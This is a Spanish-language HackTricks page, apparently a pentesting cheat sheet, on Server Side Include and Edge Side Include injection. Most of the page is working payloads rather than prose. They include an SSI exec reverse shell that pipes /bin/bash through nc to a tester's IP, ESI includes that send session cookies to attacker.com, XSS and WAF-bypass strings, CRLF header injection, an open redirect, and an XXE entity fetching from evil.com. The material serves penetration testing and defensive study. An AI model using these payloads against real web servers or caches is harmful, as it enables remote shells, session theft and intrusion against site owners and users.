12 KiB
Inclusión del Lado del Servidor/Inclusión del Lado del Borde
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén artículos oficiales de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica sobre la Inclusión del Lado del Servidor
(Introducción tomada de la documentación de Apache)
SSI (Server Side Includes) son directivas que se colocan en páginas HTML y se evalúan en el servidor mientras las páginas se están sirviendo. Te permiten agregar contenido generado dinámicamente a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:
<!--#echo var="DATE_LOCAL" -->
Y, cuando se sirva la página, este fragmento será evaluado y reemplazado con su valor:
Martes, 15-Ene-2013 19:28:54 EST
La decisión de cuándo usar SSI, y cuándo tener tu página generada completamente por algún programa, suele ser una cuestión de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeños fragmentos de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se está generando en el momento en que se sirve, necesitas buscar alguna otra solución.
Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones ** .shtml
, .shtm
o .stm
**, pero no es el único caso.
Una expresión SSI típica tiene el siguiente formato:
<!--#directive param="value" -->
Verificación
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->
// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->
// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->
Inclusión en el Borde
Existe un problema al almacenar en caché información o aplicaciones dinámicas ya que parte del contenido puede haber variado para la próxima vez que se recupere el contenido. Para esto se utiliza ESI, para indicar mediante etiquetas ESI el contenido dinámico que debe generarse antes de enviar la versión en caché.
si un atacante es capaz de inyectar una etiqueta ESI dentro del contenido en caché, entonces, podría ser capaz de inyectar contenido arbitrario en el documento antes de que se envíe a los usuarios.
Detección de ESI
El siguiente encabezado en una respuesta del servidor significa que el servidor está utilizando ESI:
Surrogate-Control: content="ESI/1.0"
Si no puedes encontrar este encabezado, el servidor podría estar utilizando ESI de todos modos.
También se puede utilizar un enfoque de explotación a ciegas ya que una solicitud debería llegar al servidor del atacante:
// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable
// Blind detection
<esi:include src=http://attacker.com>
// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>
// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
Explotación de ESI
GoSecure creó una tabla para entender los posibles ataques que podemos intentar contra diferentes software capaces de ESI, dependiendo de la funcionalidad admitida:
- Includes: Admite la directiva
<esi:includes>
- Vars: Admite la directiva
<esi:vars>
. Útil para evadir los filtros XSS - Cookie: Las cookies del documento son accesibles para el motor ESI
- Se Requieren Encabezados de Origen: Las aplicaciones sustitutas no procesarán las declaraciones ESI a menos que la aplicación de origen proporcione los encabezados
- Lista Blanca de Hosts: En este caso, las inclusiones de ESI solo son posibles desde los hosts de servidor permitidos, lo que hace que, por ejemplo, SSRF solo sea posible contra esos hosts
Software | Includes | Vars | Cookies | Se Requieren Encabezados de Origen | Lista Blanca de Hosts |
---|---|---|---|---|---|
Squid3 | Sí | Sí | Sí | Sí | No |
Varnish Cache | Sí | No | No | Sí | Sí |
Fastly | Sí | No | No | No | Sí |
Akamai ESI Test Server (ETS) | Sí | Sí | Sí | No | No |
NodeJS esi | Sí | Sí | Sí | No | No |
NodeJS nodesi | Sí | No | No | No | Opcional |
XSS
La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta del servidor
<esi:include src=http://attacker.com/xss.html>
Saltar la protección XSS del cliente
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
Robar Cookie
- Robo remoto de cookie
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
- Robar la cookie HTTP_ONLY con XSS al reflejarla en la respuesta:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
# It's possible to put more complex JS code to steal cookies or perform actions
Archivo local privado
No confundir con una "Inclusión de archivo local":
<esi:include src="secret.txt">
CRLF
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
Redirección Abierta
Lo siguiente agregará un encabezado Location
a la respuesta
<!--esi $add_header('Location','http://attacker.com') -->
Agregar Encabezado
- Agregar encabezado en solicitud forzada
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
- Agregar encabezado en la respuesta (útil para evadir "Content-Type: text/json" en una respuesta con XSS)
<!--esi/$add_header('Content-Type','text/html')/-->
<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
# Check the number of url_decode to know how many times you can URL encode the value
CRLF en Agregar encabezado (CVE-2019-2438)
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
Depuración de Akamai
Esto enviará información de depuración incluida en la respuesta:
<esi:debug/>
ESI + XSLT = XXE
Al especificar el valor xslt
para el parámetro dca, es factible incluir ESI basado en Transformaciones de Lenguaje de Hoja de Estilo Extensible (XSLT)
. La inclusión hace que el servidor HTTP recupere los archivos XML y XSLT, siendo este último el que filtra el primero. Estos archivos XML son explotables para ataques de Entidades Externas XML (XXE), lo que permite a los atacantes ejecutar ataques SSRF. Sin embargo, la utilidad de este enfoque es limitada ya que las inclusiones de ESI ya sirven como un vector SSRF. Debido a la falta de soporte en la biblioteca subyacente Xalan, los DTD externos no se procesan, lo que evita la extracción de archivos locales.
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
Archivo XSLT:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
Revisa la página XSLT:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}
Referencias
- https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
- https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
- https://academy.hackthebox.com/module/145/section/1304
- https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91
Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.